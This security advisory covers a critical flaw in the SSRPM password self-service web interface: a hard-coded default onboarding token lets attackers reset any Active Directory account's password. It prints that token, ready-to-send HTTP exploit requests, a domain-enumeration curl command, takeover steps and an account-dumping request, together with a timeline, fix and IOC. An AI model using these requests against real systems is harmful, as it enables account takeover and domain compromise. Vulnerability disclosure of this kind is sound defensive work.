SSRPM - Arbitrary password reset on default Client Web Interface installation

18/06/2024 - Download

Product

SSRPM

Severity

Critical

Fixed Version(s)

8.07 Build 1227 (May 2024)

Affected Version(s)

< 8.07

CVE Number

N/A

Authors

Clément Amic

Description

Presentation

SSRPM (Self-Service Reset Password Manager) is Tools4ever’s premier password self-service solution. It allows organizations of all sizes to unburden their helpdesk and empower their end users regarding forgotten passwords and account management.

This solution is usually synchronized with an on-premise Active Directory and its Client Web Interface component is usually exposed to the Internet.

Issue(s)

The default installation of the Client Web Interface, which is provided alongside the COM SSRPM service, defines a hard-coded secret token for the Import endpoint. This endpoint allows registering new accounts or overwriting existing onboarding data for an arbitrary account, which ultimately allows changing the password of an arbitrary account.

As the risks related to the default value of this secret token are not clearly documented, and this token is not automatically generated during the application installation, existing installs of the SSRPM Client Web Interface which are exposed to the Internet may be affected by this vulnerability.

Timeline

Date Description
2024.02.21 Advisory sent to Tools4ever.
2024.02.22 Advisory acknowledged by the vendor.
2024.03.24 Synacktiv asked for an update.
2024.04.08 Synacktiv asked for an update.
2024.04.08 Vendor says that it is working on a patch.
2024.05.22 Synacktiv asked for an update.
2024.05.24 Patch released by the vendor.
2024.06.18 Advisory released.

 

Technical details

Description

The SSRPM Client Web Interface is an ASP.NET application and is structured as follows:

$ tree 'Client Web Interface/' -L 1 
Client Web Interface
├── App_Data
├── bin
├── Content
├── favicon.ico
├── fonts
├── Global.asax
├── libman.json
├── packages.config
├── Scripts
├── Static
├── Views
└── Web.config

This application communicates with the core COM SSRPM service to perform privileged operations (e.g. to change the password of a domain account). The bin folder contains the web application implementation:

$ tree 'Client Web Interface/bin/' -L 1
Client Web Interface/bin/
├── Antlr3.Runtime.dll
├── CaptchaMvc.dll
├── log4net.dll
├── Microsoft.Web.Infrastructure.dll
├── Newtonsoft.Json.dll
├── SSRPMClientWebInterface.dll
├── SSRPMSharedWebInterface.dll
├── System.Web.Helpers.dll
├── System.Web.Mvc.dll
├── System.Web.Optimization.dll
├── System.Web.Razor.dll
├── System.Web.WebPages.Deployment.dll
├── System.Web.WebPages.dll
├── System.Web.WebPages.Razor.dll
└── WebGrease.dll

All the controllers are defined inside SSRPMClientWebInterface.dll:

SSRPMClientWebInterface.Controllers
├── AdSelfServiceController
├── BaseController
├── ChangePasswordController
├── EnrollController
├── ForgotUserNameController
├── HomeController
├── OnboardingController
├── ResetController
├── TestPasswordController
└── WinAuthController

Among all the defined endpoints, methods of controllers marked with the AllowAnonymous annotation can be requested without prior authentication. This annotation is defined for the /Onboarding/Import endpoint:

namespace SSRPMClientWebInterface.Controllers
{
  [Authorize(Roles = "onboarding")]
  [HttpAntiForgeryHandleError(ExceptionType = typeof (HttpAntiForgeryException), View = "HttpAntiForgeryExceptionView")]
  public class OnboardingController : BaseController
  {
    //[...]
    [AllowAnonymous]
    [HttpPost]
    public JsonResult Import(ImportAction data)
    //[...]
  }
}

This endpoint accepts POST requests and returns a JSON document. In practice, it accepts data in several formats, such as application/json and application/x-www-form-urlencoded, but two JSON examples using this endpoint are provided in this PDF guide and this PowerShell script.

This endpoint authenticates the caller with a secret token provided in the OnboardingToken request parameter, and returns the value -60 in the ErrorCode JSON field if this token is not valid. Then, it returns the ErrorCode value -55 if the provided Action request parameter is unknown:

public JsonResult Import(ImportAction data)
{
  long errorCode = 0;
  try
  {
    if (string.Compare(Settings.Default.OnboardingToken, data.OnboardingToken, StringComparison.InvariantCultureIgnoreCase) != 0)
      throw new SsrpmServiceException(-60L);
    if (string.Compare(data.Action, "new") != 0 && string.Compare(data.Action, "delete") != 0)
      throw new SsrpmServiceException(-55L);
    new OnboardingService().Import(data);
  }
  catch (SsrpmException ex)
  {
    errorCode = ex.ErrorCode;
    BaseController.Log.Error((object) "An error occurred while trying to import onboarding data.", (Exception) ex);
  }
  catch (Exception ex)
  {
    errorCode = -100L;
    BaseController.Log.Error((object) "An error occurred while trying to import onboarding data.", ex);
  }
  return this.Json((object) new
  {
    Success = (errorCode == 0L),
    ErrorCode = errorCode,
    ErrorMessage = (errorCode == 0L ? "" : Localization.GetError(errorCode))
  });
}

This token defaults to 7e30bebc-d17c-4833-98b6-d4c09e076b24 if it is not manually changed during the installation by editing the Web.config file:

// Properties/Settings.cs
// [...]
   [DefaultSettingValue("7e30bebc-d17c-4833-98b6-d4c09e076b24")]
   [ApplicationScopedSetting]
   [DebuggerNonUserCode]
   public string OnboardingToken => (string) this[nameof (OnboardingToken)];
// [...]

The presence of this default value can be checked against an existing SSRPM Client Web Interface installation by sending an HTTP request as follows:

POST /Onboarding/Import HTTP/1.1
Host: ssrpm.tests.local
Content-Length: 64
Content-Type: application/x-www-form-urlencoded

OnboardingToken=7e30bebc-d17c-4833-98b6-d4c09e076b24&Action=test

If the targeted installation is affected by this vulnerability, it will return an HTTP response with the ErrorCode value -55:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8[...]

{"Success":false,"ErrorCode":-55,"ErrorMessage":"Une erreur est survenue. Si le problème persiste veuillez contacter votre administrateur système."}

However, if the secret token was manually changed, it will return the ErrorCode value -60.

Impact

Client Web Interface installations affected by this vulnerability would allow changing the password of an arbitrary Active Directory account without user interaction. Depending on the privileges of the compromised accounts, and if MFA (Multi-Factor Authentication) is not deployed globally, an attacker would be able to compromise sensitive assets and elevate its privileges in the infrastructure relying on the Active Directory.

In order to exploit this vulnerability, the following parameters should be determined:

  • The name of an existing Active Directory account (e.g. from OSINT). If the provided account was already registered on SSRPM, the /Reset/Identify endpoint will display the available reset methods (e.g. e-mail OTP, phone message OTP, answering to secret questions). However, if the provided account name does not exist or was not already registered, the following error message will be returned:
SSRPM account does not exist
  • The Active Directory domain name. It can be obtained from the web application's response. For example, using the /Reset/Identify endpoint:
$ curl 'http://ssrpm.tests.local/Reset/Identify' -s | grep 'name="DataModel.Domain' 
                                <select class="form-control" id="DataModel_Domain" name="DataModel.Domain"><option value="[DOMAIN_NAME]">[DOMAIN_NAME]</option>

Then, a request to the /Onboarding/Import endpoint can be performed to initiate a new onboarding for the targeted account:

POST /Onboarding/Import HTTP/1.1
Host: ssrpm.tests.local
Content-Type: application/json

{
  "OnboardingToken": "7e30bebc-d17c-4833-98b6-d4c09e076b24",
  "Action":"add",
  "Users": [{
    "Domain": "[DOMAIN_NAME]",
    "SAMAccountName": "[USER_NAME]",
    "Attributes": [
      {"Name":"ID","Value":"[RND_ONBOARDING_ID]","Options":"1"},
      {"Name":"[RND_NAME]","Value":"[RND_VALUE]","Options":"2"}
    ]
  }]
}

In the JSON document, the following parameters should be replaced:

  • [DOMAIN_NAME]: the targeted domain name.
  • [USER_NAME]: the targeted account name.
  • [RND_ONBOARDING_ID]: a random number (e.g. 16 digits) used to complete the new onboarding process.
  • [RND_NAME]: a random name.
  • [RND_VALUE]: a random password.

This request will initiate a new onboarding for the targeted user. The [RND_NAME] and [RND_VALUE] parameters are used to prompt for a secret question that can be answered during the onboarding process to pass the "identity verification" step without using an OTP that would be sent by e-mail or to a phone number.

In order to complete the process, the web form displayed on the /Onboarding/Identify endpoint can be used, by providing the [RND_ONBOARDING_ID] parameter specified in the previous HTTP request:

onboarding-next

From this user interface, the following steps should be followed:

  1. Use the "Answer to a secret question to verify your identity" option and answer to the [RND_NAME] secret question using [RND_VALUE].
  2. Use the "Re-enroll" option and register new secret questions by providing distinct and random passwords as the secret answers.
  3. Set an arbitrary password to the targeted account.

If these steps were correctly followed, the following message should be displayed, confirming that the password was set to an arbitrary value:

onboarding-completed

From there, it is possible to list the existing Active Directory accounts. To do so, the compromised credentials should be used on the /AdSelfService/Logon endpoint:

adselfservice-login

Once authenticated, the following HTTP request can be performed to list all the existing accounts:

GET /AdSelfService/GetUsers?filter=%00%00%00&take=1000000&skip=0&page=1&pageSize=1000000 HTTP/1.1
Host: ssrpm.tests.local
Cookie: ASP.NET_SessionId=[...]; __RequestVerificationToken=[...]; .SSRPMFORMSAUTH=[...]

A JSON document structured as follows is then returned:

{
  "Success": true,
  "total": 7,
  "data": [
    {
      "CanonicalName": "tests.local/Users/Administrateur",
      "sAMAccountName": "Administrateur",
      "EmailAddress": "",
      "CommonName": "Administrateur",
      "DisplayName": "Administrateur",
      "SurName": "Admin",
      "GivenName": "TESTS",
      "Name": "Administrateur",
      "Initials": "",
      "UserPrincipalName": "Administrateur@Tests.local",
      "DistinguishedName": "CN=Administrateur,CN=Users,DC=tests,DC=local"
    },
    //[...]
  ]
}

Finally, the attackers could exploit this vulnerability again to reset the password of sensitive accounts, determined from this list. This exploitation also works if the targeted accounts were not already enrolled on SSRPM, which is usually the case for service accounts or privileged user accounts.

Note however that there are constraints that can prevent changing the password of specific accounts:

  • Accounts in OUs (Organizational Units) where no profile is configured in SSRPM. In practice, this only prevents specific accounts and the built-in Administrator account (RID=500). In this case, the error message "A profile was not found. A profile must be configured for this domain or OU. (-10)" will be returned by the application on the /Reset/Identify endpoint.
  • If the service account configured in SSRPM does not have enough privileges to reset the password of the targeted account.
  • If the targeted account is disabled (a generic error will be displayed).

Recommendation

Set a new and random value to the OnboardingToken setting. Install the new version of SSRPM and its web interface.

IOC

POST HTTP requests received to the endpoint /Onboarding/Import.